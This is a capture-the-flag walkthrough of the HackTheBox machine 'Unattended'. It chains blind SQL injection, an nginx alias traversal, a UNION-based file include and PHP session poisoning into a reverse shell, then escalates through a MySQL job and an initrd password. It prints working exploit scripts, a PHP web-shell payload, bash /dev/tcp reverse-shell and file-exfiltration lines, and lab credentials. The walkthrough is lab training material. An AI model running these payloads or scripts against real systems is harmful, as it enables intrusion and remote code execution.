Home HackTheBox - Unattended
Post
Cancel

HackTheBox - Unattended

Unattended box was a MEDIUM box from HackTheBox, but in my opinion it would be harder or even insane. We got some good points to play with on the web page, the first shell we got with a blind SQLI on the box which lead us to one LFI and after a Path Trasnversal.

The guly user is trough a mysql routine running on mysql, hard to see.

The root was with a encrypted disk.

The auto exploit to www-data is on the body of the post. Hope you enjoy!

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap - Gobuster| B(netstedflanders.htb)
    B --> |/etc/hosts| C[index.php]
    C --> |SQLinjection| D(NGINX Bug)
    D --> |LFI| E[index.php code]
    E --> |Python Script| F[Automated Reverse Shell - www-data]
    E --> |PHP Sess poison| F
    F --> |mysql pass| G[gully shell]
    G --> |init.img| H[root]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.126

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

We add both nestedflanders.htb and www.nestedflanders.htb to my hosts file.

Port 80

We try to open it on the browser

Just one dot.

Port 443

When we try to access www.nestedflanders.htb it redirect us to https

We try to see the certificate

Nothing useful until now. We accept and it’s a standard apache page

We run gobuster to see if we got something new on www.nestedflanders.htb

1
gobuster dir -k -u https://www.nestedflanders.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -x php

Found the dev and index.php

dev

I tried to open the dev folder in it

dev site has been moved to his own server

So, I tried the subdomain dev

dev.nestedflanders.htb

Nothing useful

index.php

The .php file called my attention because the index one is the html

It has three menus in it

Main, About and Contact. The most important part is that they are with id in it. Suggesting a SQLInjection in it

I will always check for SQL injection just by adding a ‘ to the end of the url. In this case, it seems to handle it fine:

This is the id 25, but when I tried the other ones, something weird happens

id=465’ redirects me to the main page.

SQLInjection PoC

If we try the query

id=465' or 1=1-- - It is true, because 1 is always equal 1. It shows me the page 465

If I try id=465' or 1=2-- -. It shows me the main page

So that’s it the PoC. Let’s try to extract some kind of information with that.

I can brute force character by character of database version replacing the 1=1 with substring(@@version,1,1)=X to check if the first character is X.

id=465' or substring(@@version,1,1)=X-- -

I found that the first character of the version is 1

Now, let’s automate it.

SQLInjection Script

First, we will use our python skeleton to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

sqli_auto.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python3
# Author: 0x4rt3mis
# SQLInjection Blind Version Extract - Unattended HackTheBox

import argparse
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
def getVersion(rhost):
    sqli_target = 'https://' + rhost +"/index.php?id=465'"
    limit = 1
    char = 42
    prefix = []
    print("[+] The version of MySQL is.... [+]")
    while(char!=123):
        injection_string = "and ascii(substring(version(),%d,1))= %s -- -" %(limit,char)
        target_prefix = sqli_target + injection_string
        response = r.get(target_prefix,proxies=proxies,verify=False,cookies=r.cookies).text
        # On the if put a error message (not success)
        if "we are very sorry to show" not in response:
            prefix.append(char)
            limit=limit+1
            extracted_char = ''.join(map(chr,prefix))
            sys.stdout.write(extracted_char)
            sys.stdout.flush()
            char=42
        else:
            char=char+1
            prefix = []

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()

    rhost = args.target

    '''Here we call the functions'''
    # Let's get the version of it
    getVersion(rhost)

if __name__ == '__main__':
    main()

Let’s continue.

NGINX Bug

There is another vuln in it. When we accessed the dev path it showed us a text about it has been moved to other place. If dev were hosted on a different subdomain, but in the nested flanders host?!

We get a good blog form acunetix where this bug was very well explained

Based on the folder structure of the page, we can conclude that

1
2
3
4
5
/
  var
    www
      html
      dev

The request for:

GET /dev../html/ shows me a 200

And we can get the index.php file with

GET /dev../html/index.php HTTP/1.1

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
$db = "neddy";
$conn = new mysqli($servername, $username, $password, $db);
$debug = False;

include "6fb17817efb4131ae4ae1acae0f7fd48.php";

function getTplFromID($conn) {
	global $debug;
	$valid_ids = array (25,465,587);
	if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
			$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
	} else {
		$sql = "SELECT name FROM idname where id = '25'";
	}
	if ($debug) { echo "sqltpl: $sql<br>\n"; } 
	
	$result = $conn->query($sql);
	if ($result->num_rows > 0) {
	while($row = $result->fetch_assoc()) {
		$ret = $row['name'];
	}
	} else {
		$ret = 'main';
	}
	if ($debug) { echo "rettpl: $ret<br>\n"; }
	return $ret;
}

function getPathFromTpl($conn,$tpl) {
	global $debug;
	$sql = "SELECT path from filepath where name = '".$tpl."'";
	if ($debug) { echo "sqlpath: $sql<br>\n"; }
	$result = $conn->query($sql);
	if ($result->num_rows > 0) {
		while($row = $result->fetch_assoc()) {
			$ret = $row['path'];
		}
	}
	if ($debug) { echo "retpath: $ret<br>\n"; }
	return $ret;
}

$tpl = getTplFromID($conn);
$inc = getPathFromTpl($conn,$tpl);
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <title>Ne(ste)d Flanders</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="bootstrap.min.css">
  <script src="jquery.min.js"></script>
  <script src="bootstrap.min.js"></script>
</head>
<body>

<div class="container">
  <h1>Ne(ste)d Flanders' Portfolio</h1>
</div>

<div class="container">
<div center class="row">
<?php

$sql = "SELECT i.id,i.name from idname as i inner join filepath on i.name = filepath.name where disabled = '0' order by i.id";
if ($debug) { echo "sql: $sql<br>\n"; }

$result = $conn->query($sql);
if ($result->num_rows > 0) {
	while($row = $result->fetch_assoc()) {
		//if ($debug) { echo "rowid: ".$row['id']."<br>\n"; } // breaks layout
		echo '<div class="col-md-2"><a href="index.php?id='.$row['id'].'" target="maifreim">'.$row['name'].'</a></div>';
		}
} else {
?>
	<div class="col-md-2"><a href="index.php?id=25">main</a></div>
	<div class="col-md-2"><a href="index.php?id=465">about</a></div>
	<div class="col-md-2"><a href="index.php?id=587">contact</a></div>
	<?php
}

?>
</div> <!-- row -->
</div> <!-- container -->


<div class="container">
<div class="row">
<!-- <div align="center"> -->
<?php
include("$inc");
?>
<!-- </div> -->

</div> <!-- row -->
</div> <!-- container -->
<?php if ($debug) { echo "include $inc;<br>\n"; } ?>

</body>
</html>

<?php
$conn->close();
?>

Find LFI

Now we can start looking for vulnerabilities on this page… The part most took my attention was this snippet of the code

1
2
3
<?php
include("$inc");
?>

What is inc?

1
$inc = getPathFromTpl($conn,$tpl);

And here, the functions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function getTplFromID($conn) {
	global $debug;
	$valid_ids = array (25,465,587);
	if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
			$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
	} else {
		$sql = "SELECT name FROM idname where id = '25'";
	}
	if ($debug) { echo "sqltpl: $sql<br>\n"; } 
	
	$result = $conn->query($sql);
	if ($result->num_rows > 0) {
	while($row = $result->fetch_assoc()) {
		$ret = $row['name'];
	}
	} else {
		$ret = 'main';
	}
	if ($debug) { echo "rettpl: $ret<br>\n"; }
	return $ret;
}

function getPathFromTpl($conn,$tpl) {
	global $debug;
	$sql = "SELECT path from filepath where name = '".$tpl."'";
	if ($debug) { echo "sqlpath: $sql<br>\n"; }
	$result = $conn->query($sql);
	if ($result->num_rows > 0) {
		while($row = $result->fetch_assoc()) {
			$ret = $row['path'];
		}
	}
	if ($debug) { echo "retpath: $ret<br>\n"; }
	return $ret;
}

The function getTplFromID takes an $id from the get request and return a template name (stored as $tpl). The second function takes that templace name and returns the path to the file to include (stored as $inc). Each function does an sql look-up.

I can control the id parameter, so I need to see what we can do

1
2
3
4
5
6
7
8
9
function getTplFromID($conn) {
	global $debug;
	$valid_ids = array (25,465,587);
	if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
			$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
	} else {
		$sql = "SELECT name FROM idname where id = '25'";
	}
	if ($debug) { echo "sqltpl: $sql<br>\n"; } 

Here we have the check to see what is being passed as id value

1 - array_key_exists('id', $_GET) - Yes, just check if the value exist, that’s easy to bypass

2 - intval($_GET['id']) == $_GET['id'] - This is a little bit harder. intval will try to process the string such that if it starts with an int, that is what’s used and the rest is dropped.

PHP Loose Compararison

== -> Loose Comparisons

=== -> Strict Comparisons

Here is where the vulnerability starts, the developer of the app used a technique called loose comparison, is the difference betwen == and === in php

Link on this website you can find a small explanation about it

We can use the following query on the database

SELECT name FROM idname where id = $_GET['id']

So, I’ll submit on the page 25' and 1=2 UNION select 'about'-- -

It worked because showed me the about page

Now that I can put whatever I want into tpl, I’ll inject again to control what is included in the page. From the source, I see the SQL query will be:

SELECT path from filepath where name = $tpl

So fully control tpl value, I want the query to look like:

SELECT path from filepath where name = 0x4rt3mis UNION select /etc/passwd

Once I know that the table 0x4rt3mis does not exist on the server, it will process only the /etc/passwd

25' and 1=2 UNION select '0x4rt3mis\' union select \'/etc/passwd\'-- -'-- -

www-data Shell

Now that we know that we can read files on the server, let’s start getting a reverse shell in it

We can do some log poisoning in php apache logs.

We will write a php shell into a cookie so that it poisons the php session data, and read that out of /var/lib/php/sessions/, the session will be my cookie

/var/lib/php/sessions/sess_8ubjns4fqnj0c1oioc5121vo90

If I can control the cookie, what would if I add a new cookie in it?

Yes we can, what if we add a php code in the cookie?

<?php system($_GET['cmd']); ?>

And here we have RCE on the box… now let’s get a reverse shell

bash -c 'bash -i >& /dev/tcp/10.10.14.20/443 0>&1'

Now, let’s automate it to better get shell on the box

auto_wwwdata.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto Reverse Shell - www-data - Unattended HackTheBox

import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
import urllib.parse
import urllib3

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
urllib3.disable_warnings()

'''Here come the Functions'''
# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()
    
# Exploit
def getReverse(rhost,lhost,lport):
    url = "https://%s/index.php?" %rhost
    # Get to get the phpsessid
    r.get(url, verify=False, proxies=proxies)
    php_value = r.cookies['PHPSESSID']
    # Setting the php malicious to the browser and the phpsseid in the correct order to trigger the execution
    my_super_cookie = requests.cookies.create_cookie('0x4rt3mis',"<%3fphp+system($_GET['cmd'])%3b+%3f>")
    r.cookies.set_cookie(my_super_cookie)
    print("[+] Now Let's get the reverse shell! [+]")
    payload = {
    'cmd': "bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'" %(lhost,lport),
    'id': "25' and 1=2 UNION select '0x4rt3mis\\' union select \\'/var/lib/php/sessions/sess_%s\\'-- -'-- -" %php_value
}
    payload_str = urllib.parse.urlencode(payload, safe="\'\>/")
    r.get(url, params=payload_str, proxies=proxies, cookies=r.cookies, verify=False)
    # Just got the reverse shell with two get, only one did not work (don't know why, haha)
    r.get(url, params=payload_str, proxies=proxies, cookies=r.cookies, verify=False)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-ip', '--ip', help='Local IP Reverse Shell', required=True)
    parser.add_argument('-p', '--port', help='Local Port Reverse Shell', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.ip
    lport = args.port

    '''Here we call the functions'''
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Get the rev shell
    getReverse(rhost,lhost,lport)

if __name__ == '__main__':
    main()

www-data -> Guly

Now we connect on the mysql with the credentials we grab earlier

1
mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e

1
2
3
use neddy;
show tables;
select * from config;

Interesing set on row 86 checkrelease

1
/home/guly/checkbase.pl;/home/guly/checkplugins.pl;

I can’t read this script, but seems to be executing it, so if I try to add some command that I can try to see if it’s being someway executed

1
2
update config set option_value = "'id > /var/www/html/test.txt'" where id = 86;
select * from config where id = 86;

One minute after it was reseted to the default

And we see that the file test.txt was created

So, I will get a reverse shell now

We change it again

1
2
3
4
mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e
use neddy;
update config set option_value = "bash -c 'bash -i >& /dev/tcp/10.10.14.20/80 0>&1'" where id = 86;
select * from config where id = 86;

Wait one minute and get a reverse shell as gully

gully –> Root

Now let’s get root on this box

Looking at the groups we see that we are part of the group grub, it seems interesting

We look for the partitions that we have mounted on the file system

1
2
mount
find / -group grub -ls 2>/dev/null

We send it to our Kali to analyse the disk better

1
2
cat initrd.img-4.9.0-8-amd64 > /dev/tcp/10.10.14.20/443
nc -nlvp 443 > init.img

We decompress it

Ok, it’s a file system, on the box we look for files created after the flag user date, to see what has been changed

1
find . -type f -newermt 2018-12-19 ! -newermt 2018-12-21 -ls

Looking at the script we found a password

c0m3s3f0ss34nt4n1

We prepare our box to be the same as the box

And run the command we found on the script

1
./sbin/uinitrd c0m3s3f0ss34nt4n1

We got a password

132f93ab100671dcb263acaf5dc95d8260e8b7c6

We try to su with it, and got root

This post is licensed under CC BY 4.0 by the author.